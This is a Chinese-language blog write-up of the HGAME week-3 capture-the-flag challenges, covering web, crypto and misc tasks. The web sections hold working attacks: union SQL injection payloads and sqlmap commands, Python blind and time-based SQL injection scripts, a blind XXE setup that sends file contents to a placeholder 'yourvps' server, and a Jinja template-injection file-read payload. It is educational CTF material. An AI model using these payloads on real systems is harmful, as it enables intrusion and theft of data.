HGAME-WEEK3-WRITE-UP

WEB

送分的SQLi
这题非常简单,什么过滤都没有就是简单的有回显数字型SQL注入。
所以我们可以直接构造union注入就可以完成所有操作

/*库名*/
id=1 union select database(),1
/*表名*/
id=1 union select table_name,1 from information_schema.tables where
table_schema=’week3_sqliiii2′
/*列名*/
id=1 union select column_name,1 from information_schema.columns where
table_name=’f111aa4g’
/*得到flag*/
id=1 union select 1,f111aaaggg_w3 from f111aa4g

或者使用sqlmap

/*库名*/
sqlmap.py -u http://118.25.18.223:10068/?id=1 –dbs


/*表名*/
sqlmap.py -u http://118.25.18.223:10068/?id=1 –tables -D week3_sqliiii2
/*列名*/
sqlmap.py -u http://118.25.18.223:10068/?id=1 –columns -T f111aa4g -D week3_sqliiii2
/*得到flag*/
sqlmap.py -u http://118.25.18.223:10068/?id=1 –dump all -C f111aaaggg_w3 -T f111aa4g -D week3_sqliiii2

简单的SQLi

简单的基于报错的sql盲注。这里说一下,过滤了substr(),但是我们可以用mid()和left(),基于报错的盲注具体在我前面写的文章《SQLI-LABS修炼笔记(二)》中有细讲。这里直接上脚本,用的是mid().

import requests
import hashlib
def md5(str1):
return hashlib.md5(str1).hexdigest()
def md5_fuck(str1):
i = 0
while True:
if md5(str(i))[4:8] == str1:
return i
else:
i+=1
cookie = {
“PHPSESSID”:“6760c930541b7fd8b74b75676c625c18”
}
flag=“”
url = “http://118.25.18.223:10086/index.php”
for i in range(1,10000):
for j in range(33,127):
r = requests.get(url=url, cookies=cookie)
code_str = r.content[130:134]
code_need = md5_fuck(code_str)
#id_my = ”’1′ or if((ascii(mid((database()),%s,1))=%s),sleep(5),1)%%23”’%(i,j) week3_sqli1
#id_my = ”’1′ or if((ascii(mid((select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s),sleep(3),1)%%23”’%(i,j) users,w3_fllllllll4ag
#id_my = ”’1′ or if((ascii(mid((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=’w3_fllllllll4ag’),%s,1))=%s),sleep(3),1)%%23”’%(i,j) dajiangyoude,haishijiangyou,f111144g_w3_sqli1
id_my = ”’1′ or if((ascii(mid((select f111144g_w3_sqli1 from w3_fllllllll4ag limit 0,1),%s,1))=%s),sleep(3),1)%%23”’%(i,j)
url_good = “http://118.25.18.223:10086/index.php?id=%s&code=%s” % (id_my, code_need)
try:
s = requests.get(url=url_good, cookies=cookie,timeout=2.5)
# print s.content
except:
flag +=chr(j)
print flag
break

正常的SQLi

扫一波目录发现.bak文件泄露

<?php
 
$username = base64_decode($_COOKIE[‘name’]);
 
$sql = “select * from user where username = ‘{$username}'”;
$re = mysqli_query($conn, $sql);
$rs = mysqli_fetch_array($re);
 
// echo $rs[‘flag’];
echo $username . ‘<br/>’;
echo “因为出题人太懒了,所以现在没有任何功能”;
好吧,我觉得没什么用。用sleep函数试试,看看是不是基于时间的盲注。
果然是,基于时间的盲注在我之前的文章《SQLI-LABS修炼笔记(四)》中有细讲。这里直接上脚本。
import requests
import base64
import urllib
url = “http://123.206.203.108:10010/normalSQLi/index.php”
flag = “”
for i in range(1,1000):
for j in range(33,127):
#payload = “admin’ or if((ascii(substr((),%s,1))=%s),sleep(3),false)#”%(i,j) user
#payload = “admin’ or if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s),sleep(3),false)#”%(i,j) user
#payload = “admin’ or if((ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=’user’),%s,1))=%s),sleep(3),false)#”%(i,j)
payload = “admin’ or if((ascii(substr((select flag from user limit 2,1),%s,1))=%s),sleep(3),false)#”%(i,j)
 
cookie = {
“name”:urllib.quote(base64.b64encode(payload))
}
try:
r = requests.get(url=url,cookies=cookie,timeout=2.5)
except:
flag +=chr(j)
print flag
break
或者使用sqlmap
sqlmap.py -u http://123.206.203.108:10010/normalSQLi/index.php –cookie=”name=” –tamper “base64encode” –random-agent –level 3 –technique “T” -v 3 -D users -T user -C “id,password,username” –dump

**书屋

第一次遇到javaweb题,萌新我来学习点新姿势。

查看源代码审查元素,发现提示:

参考hint,这题应该是xml的实体注入。网上搜到了一篇大佬的博客文章,里面详细解说了xml实体注入。

参考链接:

http://chybeta.club/2017/07/04/%E5%B0%8F%E8%AF%95XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/

我测试了一下post过去一个xml文件,返回说,我就看看你发的而已又没说要发出来0v0

所以应该是blind xxe 注入。

具体过程:

我在自己的服务器上设置两个文件,一个xxe.php,一个xxe.xml。

xxe.php:

<?php
if(isset($_GET[‘data’]))
{
$file = fopen(‘data’, ‘w’);
fwrite($file, $_GET[‘data’]);
fclose($file);
}
?>
xxe.xml:
<!ENTITY % all “<!ENTITY send SYSTEM ‘http://yourvps/xxe.php?data=%data;’>”>
然后在**书店的url下post:

a=

base64encode(<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE ANY[
<!ENTITY % data SYSTEM “file:///a/b”>
<!ENTITY % remote SYSTEM ” http://yourvps/xxe.xml”>
%remote;
%all;
]>
<root>&send;</root>)
多post几次,可能没传过去,我这时灵时不灵的也弄了很久。
然后读服务器上的access.log,发现返回了flag。

ngc’s blog

抓包很容易发现这是pythonweb,结合5000端口,说明可能是flask模板,随即联想到模板注入(SSTI)。

参考大佬的文章Flask/jinja模板注入:

http://klaus.link/2017/Flask_SSTI/

可能因为是萌新赛,没有给弹shell。。。。(其实是我太菜了弹不出,只搞出个任意文件读取)

参考链接:

https://www.cnblogs.com/tyomcat/p/5440488.html

测试:

http://111.230.105.104:5000/{{7+7}}

发现果然可以。使用任意文件读取漏洞。

直接读flag,在博客里面有一个hint,flag在flag里。

http://111.230.105.104:5000/{{”.__class__.__mro__[2].__subclasses__()[40](‘./flag’, ‘r’).read()}}

就能拿到flag了。

CRYPTO

babyRSA

题目地址:p3xlhyup6.bkt.clouddn.com/babyRSA.zip

这题在我之前的文章《关于openssl命令的一些随笔》里面写过了wp,可以去看看。

NotHardRSA

题目地址:p3xlhyup6.bkt.clouddn.com/NotHardRSA.zip

mmp的又是数论题,题目给了10个密文,根据同余的性质,做差求最大公约数。

贴一下脚本:

#!/usr/bin/python
def egcd(a, b):
if a ==0:
    return (b, 0, 1)
else:
    g, y, x = egcd(b % a, a)
return (g, x – (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g !=1:
    raise Exception(‘modular inverse does not exist’)
else:
    return x % m
e=65537
f=open(‘cipherx.txt’,’r’)
s=f.read()
c=s.split(‘\n’)
#0,1,2,…,9
t1=int(c[1],10)-int(c[0],10)
t2=int(c[2],10)-int(c[1],10)
#t3=int(c[3],10)-int(c[2],10)
#t4=int(c[0],10)-int(c[3],10)
g1,y1,x1=egcd(t1,t2)
#g2,x2,y2=egcd(t3,t2)
#g3,x3,y3=egcd(t1,t4)
#print g1
q4=g1
t5=int(c[5],10)-int(c[4],10)
t6=int(c[6],10)-int(c[5],10)
g5,y5,x5=egcd(t5,t6)
#print g5
q3=g5
c3=int(c[3],10)
d=modinv(e,(q4-1)*(q3-1))
print hex(pow(c3,d,(q4*q3)))

ps:还有两个CBC没做,看wp也一知半解。有时间一定研究一波。

MISC

bunny treasure

题目地址:

p48sc5k3g.bkt.clouddn.com/misc.pcapng

打开流量包,老套路HTTP过滤一下,会发现GET请求了一个cutebunny.jpg和misc1.zip。这里可以直接从流量包到处misc1.zip,打开看一下会发现有flag.txt和cutebunny.jpg,明白人都知道了这里要用明文攻击了,于是现在的问题就是怎么样构造明文攻击用的压缩包了。

misc1.zip里的还有一张图而GET请求里也有一张图,不过直接从流量包导出不可行,因为流量记录其304了,导出来的压缩包有问题。此时可以直接访问GET请求的URL下载这个图(我一直都以为可以下载的,但是只有这个题实现过我的想法2333333以前都是404的说)

于是乎用WinRAR压缩下载下来的图发现与压缩包里的CRC32校验码是一致的,于是丢进AZPR几秒钟就拿到flag了。

ps:这里有一个大坑,我用win默认的压缩成zip,结果大小不一样无法明文攻击(以前一直以为只要crc32值相等就行了,结果大小这些也要一模一样),然后用winrar试试,发现可以。(好迷啊,难道还要猜出题人用的什么压缩工具吗?)

最终明文攻击爆出flag。

画风不一样的她

题目地址:

http://p3pqfvzzm.bkt.clouddn.com/%E7%94%BB%E9%A3%8E%E4%B8%8D%E4%B8%80%E6%A0%B7%E7%9A%84%E5%A5%B9.zip

拿到两张后缀为png的图片,没啥思路,放winhex里面看下,一张的实质还是jpg。更懵逼了。

看到hint才恍然大悟,原来是盲水印!直接拿脚本跑一下得flag。

这是啥?

题目链接:

p1kaloi2x.bkt.clouddn.com/rgb.zip

打开压缩包之后发现是个加密过的压缩包,看了一下并不是伪加密,往下看了看,发现文件尾有base64加密的字符串。

解密得到压缩包密码:hammernb  (hammer大哥牛逼!)

解压缩出来发现是0和1组成的三列多行的数字。随即联想到像素点。把0替换成255,1替换成0,然后转像素点。

贴一下转像素点的脚本:

 

from PIL import Image,ImageDrawimage = Image.new(‘RGB’,(280, 280))

file = open(‘rgb.txt’)

draw = ImageDraw.Draw(image)

for i in xrange(280):

for j in xrange(280):

c = file.readline().split(‘ ‘)

draw.point((i, j), fill = (int(c[0]), int(c[1]), int(c[2])))

image.save(“key.jpg”, “jpeg”)

得到一张二维码。扫二维码得到一个bin文件,记事本打开之后base64解密一下字符串。得到一串16进制的字符串,看到504B0304,就明白这是一个压缩包的16进制,放winhex里面转一下,修改后缀为zip。打开,发现又是加密过的压缩包。没思路了,爆破一下吧。爆破得到压缩包密码为hgame。ps:这题没点脑洞可做不出哦~

 

WEEK3 OVER!

 


0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注